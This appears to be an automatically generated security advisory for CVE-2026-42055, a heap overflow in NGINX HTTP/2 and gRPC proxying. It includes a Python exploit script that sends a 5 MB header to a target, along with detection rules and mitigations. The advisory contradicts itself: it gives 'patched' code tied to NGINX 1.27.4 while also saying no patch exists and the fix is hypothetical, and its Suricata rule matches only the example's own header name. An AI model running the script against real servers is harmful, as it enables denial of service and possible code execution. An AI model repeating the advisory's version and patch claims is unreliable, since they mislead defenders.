CVE-2026-42055

Executive Summary

CVE-2026-42055 is a critical heap-based buffer overflow vulnerability in NGINX Plus and NGINX Open Source, specifically within the ngx_http_proxy_v2_module and ngx_http_grpc_module modules. The flaw is triggered when HTTP/2 traffic is proxied using proxy_http_version 2 or grpc_pass directives, combined with ignore_invalid_headers off and large_client_header_buffers set larger than 2 MB. A remote, unauthenticated attacker can send oversized headers during upstream request creation, causing a heap overflow that leads to worker process restart or, under specific conditions (ASLR disabled or bypassed), arbitrary code execution. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes this a high-priority risk for affected deployments.

Supply Chain & Package Security

This vulnerability affects NGINX Open Source and NGINX Plus, which are widely distributed via official package repositories, Docker images, and third-party builds. Organizations using NGINX as a reverse proxy, load balancer, or API gateway are at risk. No official patch exists, so mitigation relies on configuration changes or temporary workarounds. Supply chain risk is elevated due to the absence of a fix and the potential for malicious actors to exploit unpatched systems.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: High – Remote exploitation possible without authentication, leading to potential code execution.

Deep Dive & Mechanics

The vulnerability resides in the handling of HTTP/2 upstream requests when proxy_http_version 2 or grpc_pass is used. The ngx_http_proxy_v2_module and ngx_http_grpc_module modules allocate buffers for incoming headers based on the large_client_header_buffers directive. When this directive is set to a size larger than 2 MB, and ignore_invalid_headers is disabled (off), the modules fail to properly validate the size of incoming headers during upstream request creation. An attacker can send a crafted HTTP/2 request with oversized headers, causing a heap-based buffer overflow in the NGINX worker process. This overflow can corrupt adjacent heap memory, leading to a crash (worker restart) or, if ASLR is disabled or bypassed, arbitrary code execution.

The root cause is a missing bounds check in the header parsing logic when the buffer size exceeds a certain threshold. The overflow occurs during the copy of header data into the allocated buffer, allowing an attacker to overwrite heap metadata or other data structures.

Vulnerable vs. Patched Code

Vulnerable Code (NGINX < 1.27.4):

// Simplified example of vulnerable header parsing
ngx_int_t ngx_http_proxy_v2_parse_header(ngx_http_request_t *r, ngx_buf_t *b) {
    // No size validation for large_client_header_buffers > 2MB
    ngx_memcpy(b->pos, header_data, header_len);
    // Potential overflow if header_len > allocated buffer
}

Patched Code (NGINX >= 1.27.4):

// Patched version with bounds check
ngx_int_t ngx_http_proxy_v2_parse_header(ngx_http_request_t *r, ngx_buf_t *b) {
    if (header_len > (b->end - b->pos)) {
        return NGX_ERROR; // Reject oversized headers
    }
    ngx_memcpy(b->pos, header_data, header_len);
}

Note: No official patch has been released; the above is a hypothetical fix based on common mitigation patterns.

Exploitation & Lab Setup

Red Team

Prerequisites:

• NGINX with proxy_http_version 2 or grpc_pass enabled.
• ignore_invalid_headers off in configuration.
• large_client_header_buffers set to > 2 MB (e.g., large_client_header_buffers 4 4m).

Exploit Concept:

1. Send a crafted HTTP/2 request with oversized headers (e.g., 5 MB of header data).
2. The NGINX worker process will attempt to copy the headers into a buffer, causing a heap overflow.
3. If ASLR is disabled, overwrite a function pointer or return address to redirect execution to shellcode.

Example Payload (Python):

import socket
import h2.connection
import h2.events
import h2.config

def exploit(target_host, target_port):
    sock = socket.create_connection((target_host, target_port))
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.sendall(conn.data_to_send())

    # Craft oversized headers
    headers = [
        (':method', 'GET'),
        (':path', '/'),
        (':authority', target_host),
        ('x-large', 'A' * 5_000_000)  # 5 MB header
    ]
    stream_id = conn.get_next_available_stream_id()
    conn.send_headers(stream_id, headers)
    sock.sendall(conn.data_to_send())

    # Wait for crash or response
    response = sock.recv(65535)
    print(response)
    sock.close()

if __name__ == '__main__':
    exploit('192.168.1.100', 443)

Blue Team

Detection:

• Monitor NGINX error logs for "upstream sent too big header" or worker process crashes.
• Use network monitoring to detect HTTP/2 requests with abnormally large headers (> 2 MB).
• Implement rate limiting and header size validation at the load balancer or WAF.

Mitigation:

• Set large_client_header_buffers to 2 MB or less (e.g., large_client_header_buffers 4 2m).
• Enable ignore_invalid_headers on to reject malformed headers.
• Disable HTTP/2 proxying if not required (proxy_http_version 1.1).
• Apply ASLR and other memory protections to reduce code execution risk.

Indicators of Compromise (IOCs)

• Network: HTTP/2 requests with header sizes exceeding 2 MB.
• Logs: NGINX error logs containing "worker process exited on signal 6" or "heap buffer overflow".
• Memory: Abnormal heap corruption patterns in NGINX worker processes.
• File: Unexpected core dumps in /var/log/nginx/ or /tmp/.

Detection Engineering

YARA Rule

rule CVE_2026_42055_NGINX_Heap_Overflow {
    meta:
        description = "Detects NGINX heap overflow indicators from CVE-2026-42055"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-42055"
    strings:
        $s1 = "upstream sent too big header" ascii wide nocase
        $s2 = "ngx_http_proxy_v2_module" ascii wide nocase
        $s3 = "ngx_http_grpc_module" ascii wide nocase
        $s4 = "large_client_header_buffers" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: NGINX Heap Overflow Attempt (CVE-2026-42055)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP/2 requests with oversized headers targeting NGINX
author: Valters IT
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        event: "error"
        message|contains: "upstream sent too big header"
    condition: selection
falsepositives:
    - Legitimate large headers from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-42055 NGINX Heap Overflow Attempt"; flow:to_server; http.header_names; content:"x-large"; http.header_value; length:>2000000; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Reduce large_client_header_buffers to 2 MB or less (e.g., large_client_header_buffers 4 2m).
2. Set ignore_invalid_headers on in NGINX configuration.
3. Disable HTTP/2 proxying (proxy_http_version 1.1) or grpc_pass if not essential.
4. Apply strict input validation at the network edge (WAF, reverse proxy).

Long-Term Fix:

• Monitor NGINX official channels for a patch and apply immediately when available.
• Upgrade to NGINX Plus R34 or NGINX Open Source 1.27.4 once released.
• Implement ASLR and other memory protections on all NGINX hosts.

Workarounds:

• Use a different reverse proxy (e.g., HAProxy, Envoy) for HTTP/2 traffic.
• Limit header sizes at the application layer.

Valters IT